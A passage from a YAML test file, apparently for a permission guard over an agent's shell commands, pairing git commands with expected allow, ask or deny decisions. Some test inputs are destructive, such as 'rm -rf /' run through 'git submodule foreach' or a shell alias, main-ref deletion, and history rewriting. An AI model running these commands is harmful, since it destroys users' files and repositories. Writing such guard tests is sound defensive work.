    # No force flags, but git push requires full trust
  - id: git-push-origin
    command: "git push origin"
    expected:
      decision: ask
    # No force flags, but git push requires full trust
  - id: git-push-upstream
    command: "git push -u origin feature-branch"
    expected:
      decision: ask
    # -u/--set-upstream is not a force flag

  # ============================================================
  # 18. REBASE
  # ============================================================
  # For comprehensive rebase tests (48 cases), see: git-rebase.yaml
  # These are representative tests only

  - id: git-rebase-basic-asks
    command: "git rebase main"
    expected:
      decision: ask
      rule_id: git-rebase
  - id: git-rebase-abort-asks
    command: "git rebase --abort"
    expected:
      decision: ask
      rule_id: git-rebase
  - id: git-rebase-skip-asks
    command: "git rebase --skip"
    expected:
      decision: ask
      rule_id: git-rebase

  # ============================================================
  # 19. SPECIAL CASES
  # ============================================================

  # --- git check-ignore (read-only) ---
  - id: git-check-ignore-file
    command: "git check-ignore file.txt"
    expected:
      decision: allow
    # Read-only: checks if file matches gitignore patterns
  - id: git-check-ignore-verbose
    command: "git check-ignore -v node_modules"
    expected:
      decision: allow
    # Read-only: verbose output shows which pattern matched
  - id: git-check-ignore-stdin
    command: "git check-ignore --stdin"
    expected:
      decision: allow
    # Read-only: reads paths from stdin

  # --- git symbolic-ref (read-only queries) ---
  - id: git-symbolic-ref-read-safe
    command: "git symbolic-ref HEAD"
    expected:
      decision: allow
    # Read-only: shows what ref HEAD points to
  - id: git-symbolic-ref-delete-dangerous
    command: "git symbolic-ref --delete HEAD"
    expected:
      decision: ask
      rule_id: git-symbolic-ref-delete
    # Destructive operation - removes symbolic references
  - id: git-symbolic-ref-short-safe
    command: "git symbolic-ref --short HEAD"
    expected:
      decision: allow
    # Read-only: shows branch name without refs/heads/ prefix
  - id: git-symbolic-ref-quiet
    command: "git symbolic-ref -q HEAD"
    expected:
      decision: allow
    # Read-only: quiet mode, no error if not symbolic ref

  # --- git show-ref (read-only) ---
  - id: git-show-ref-basic
    command: "git show-ref"
    expected:
      decision: allow
    # Read-only: lists all refs
  - id: git-show-ref-heads
    command: "git show-ref --heads"
    expected:
      decision: allow
    # Read-only: lists branch refs only
  - id: git-show-ref-tags
    command: "git show-ref --tags"
    expected:
      decision: allow
    # Read-only: lists tag refs only
  - id: git-show-ref-verify
    command: "git show-ref --verify refs/heads/main"
    expected:
      decision: allow
    # Read-only: verifies a specific ref exists

  # --- git diff-tree (read-only plumbing) ---
  - id: git-diff-tree-basic
    command: "git diff-tree --no-commit-id -r HEAD"
    expected:
      decision: allow
    # Read-only: shows changes in a commit
  - id: git-diff-tree-name-status
    command: "git diff-tree --no-commit-id -r --name-status c4f7087"
    expected:
      decision: allow
    # Read-only: shows file changes with status letters
  - id: git-diff-tree-range
    command: "git diff-tree --no-commit-id -r --name-status f933d86..c4f7087"
    expected:
      decision: allow
    # Read-only: shows changes between two commits

  # --- git -C flag (allowlist matches once -C is stripped) ---
  - id: git-C-status-allow
    command: "git -C /tmp status"
    expected:
      decision: allow
    # Safe command with -C flag
  - id: git-C-reset-hard-ask
    command: "git -C /tmp reset --hard"
    expected:
      decision: ask
      rule_id: git-reset-hard
    # Destructive command with -C flag, rule still fires
  - id: git-C-clean-f-ask
    command: "git -C /tmp clean -f"
    expected:
      decision: ask
      rule_id: git-clean-force
    # Destructive command with -C flag, rule still fires
  - id: git-C-rebase-ask
    command: "git -C /tmp rebase main"
    expected:
      decision: ask
      rule_id: git-rebase
    # Destructive command with -C flag, rule still fires
  - id: git-C-push-force-ask
    command: "git -C /tmp push --force origin main"
    expected:
      decision: ask
      rule_id: git-force-push-main
    # Force push with -C flag, rule still fires

  # --- git combined short flags (should still match rules) ---
  - id: git-clean-ffd-ask
    command: "git clean -ffd"
    expected:
      decision: ask
      rule_id: git-clean-force
    # Combined flags contain -f
  - id: git-clean-ffdx-ask
    command: "git clean -ffdx"
    expected:
      decision: ask
      rule_id: git-clean-force
    # Combined flags contain -f
  - id: git-clean-xdf-ask
    command: "git clean -xdf"
    expected:
      decision: ask
      rule_id: git-clean-force
    # Common combined flags ordering still contains -f

  # --- git subcommands that execute arbitrary shell / rewrite refs ---
  - id: git-submodule-foreach-ask
    command: "git submodule foreach 'rm -rf /'"
    expected:
      decision: ask
    # Runs an arbitrary command per-submodule; should never be allowlisted
  - id: git-alias-shell-deny
    command: "git -c alias.x='!rm -rf /' x"
    expected:
      decision: deny
      rule_id: git-c-rce-keys
    # Git aliases with `!` execute a shell command per-invocation
  - id: git-update-ref-delete-main-deny
    command: "git update-ref -d refs/heads/main"
    expected:
      decision: deny
      rule_id: git-update-ref-protected
    # Deleting main branch ref is denied (protected ref)
  - id: git-filter-branch-deny
    command: "git filter-branch -- --all"
    expected:
      decision: deny
      rule_id: git-filter-branch
    # History rewriting; denied
  - id: git-filter-repo-deny
    command: "git filter-repo --force"
    expected:
      decision: deny
      rule_id: git-filter-repo
    # History rewriting via subcommand form
  - id: git-filter-repo-direct-deny
    command: "git-filter-repo --force"
    expected:
      decision: deny
      rule_id: git-filter-repo-direct
    # History rewriting via direct executable form
  - id: git-replace-deny
    command: "git replace --edit abc1234"
    expected:
      decision: deny
      rule_id: git-replace
    # Manipulates the commit graph
  - id: git-replace-graft-deny
    command: "git replace --graft abc1234 def5678"
    expected:
      decision: deny
      rule_id: git-replace
